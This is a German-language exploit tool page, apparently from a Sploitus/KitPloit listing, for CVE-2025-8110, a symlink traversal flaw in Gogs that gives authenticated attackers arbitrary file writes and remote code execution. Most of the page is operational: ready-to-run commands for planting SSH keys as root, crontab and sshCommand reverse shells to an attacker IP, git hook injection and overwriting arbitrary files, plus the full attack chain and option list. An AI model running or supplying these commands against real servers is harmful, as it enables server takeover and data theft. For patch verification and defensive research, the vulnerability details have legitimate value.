## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-POPYUE-CVE-2025-8110
# CVE-2025-8110 — Symlink-Pfad-Traversal in Gogs → RCE
## Ăśberblick
**CVE-2025-8110** ist eine kritische Schwachstelle im Gogs (selbst gehosteter Git-Dienst) in Versionen **< = 0.13.3**. Die `PutContents`-API validiert Dateipfade auf Verzeichnis-Traversal (`../`), löst jedoch **keine** symbolischen Links vor dem Schreiben auf. Ein authentifizierter Benutzer kann einen Commit mit einem Symlink, der auf eine beliebige Serverdatei verweist, pushen und dann `PutContents` auf diesen Symlink aufrufen, um die echte Datei mit vom Angreifer kontrolliertem Inhalt zu überschreiben.
Dies ist eine Umgehung des frĂĽheren Fixes fĂĽr **CVE-2024-55947** , der nur direktes Pfad-Traversal, aber kein symlink-basiertes Traversal adressierte.
Detail| Wert
---|---
**CVE**| CVE-2025-8110
**Betroffen**| Gogs <= 0.13.3
**Behoben**| Gogs 0.13.4
**Typ**| Authentifiziertes beliebiges Dateischreiben → RCE
**CVSS**| 8.8 (Hoch)
**Komponente**| PutContents API (`/api/v1/repos/:owner/:repo/contents/:path`)
## Voraussetzungen
* Python 3.8+
* `requests` (`pip install requests`)
* `git` CLI
* Ein gĂĽltiges Gogs-Konto auf der Zielinstanz
## RCE-Strategien
Dieses Exploit unterstĂĽtzt **4 eingebaute RCE-Strategien** sowie einen generischen Dateischreibmodus:
## Verwendung
root@kitploit:~
# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only
# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
--rce-keys ~/.ssh/id_rsa.pub --cleanup
# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
--rce-cron --lhost 10.10.14.5 --lport 4444
# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-ssh --lhost 10.10.14.5 --lport 4444
# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-hook --lhost 10.10.14.5 --lport 4444
# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /tmp/pwned --content "proof-of-concept"
# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /root/.ssh/authorized_keys \
--content-file ~/.ssh/id_rsa.pub
### Angriffskette im Detail
1. **Authentifizieren** — API-Token über Basic Auth erstellen (`POST /api/v1/users/:user/tokens`) - Anmeldung über API-Token (Basic Auth)
2. **Repository erstellen** — `POST /api/v1/user/repos` mit `auto_init: true` (POST /api/v1/user/repos (auto_init))
3. **Symlink pushen** — Repository per HTTP klonen (Anmeldedaten in URL eingebettet), Symlink erstellen, der auf die Zieldatei zeigt, commit & push (git clone -> os.symlink(target) -> git push)
4. **Durch Symlink schreiben** — `PUT /api/v1/repos/:owner/:repo/contents/:link` mit base64-kodiertem Inhalt. Gogs löst den Symlink auf der Festplatte auf und schreibt in die echte Datei (PUT /api/v1/repos/.../contents/linkn_ame)
5. **RCE auslösen** — RCE-Auslöser hängt von der Strategie ab (SSH-Anmeldung, Cron-Ausführung, sshCommand-Auswertung oder Hook-Ausführung)
## Optionen
root@kitploit:~
target Gogs-Basis-URL (z.B. http://target:3000)
Authentifizierung:
-u, --user Gogs-Benutzername
-p, --password Gogs-Passwort
RCE-Strategien:
--rce-keys PUBKEY SSH-öffentlichen Schlüssel einpflanzen → /root/.ssh/authorized_keys
--rce-cron Reverse Shell → /etc/crontab
--rce-ssh .git/config sshCommand vergiften + auslösen
--rce-hook pre-receive Hook überschreiben + auslösen
--write Allgemeines beliebiges Dateischreiben
Verbindung / Nutzlast:
--lhost LHOST Angreifer-IP fĂĽr Reverse Shell
--lport LPORT Angreifer-Port fĂĽr Reverse Shell
--target-file PATH Serverpfad zum Ăśberschreiben (--write-Modus)
--content STRING Inhalt zum Schreiben
--content-file DATEI Lokale Datei zum Schreiben
Optionen:
--repo NAME Repository-Name (Standard: zufällig)
--cleanup Exploit-Repository nach Abschluss löschen
-o, --output DATEI Berichtsdatei (Standard: loot.json)
--timeout SEKUNDEN Anfrage-Timeout (Standard: 15)
--proxy URL HTTP-Proxy zum Debuggen
--check-only Nur prĂĽfen, ob Ziel Gogs ist, nicht ausnutzen
## Referenzen
* Wiz Research Blog
* NVD — CVE-2025-8110
* Gogs Patch PR #8078
* GHSA-mq8m-42gh-wq7r
## Haftungsausschluss
Dieses Tool wird ausschließlich für **autorisierte Sicherheitstests und Bildungszwecke** bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben.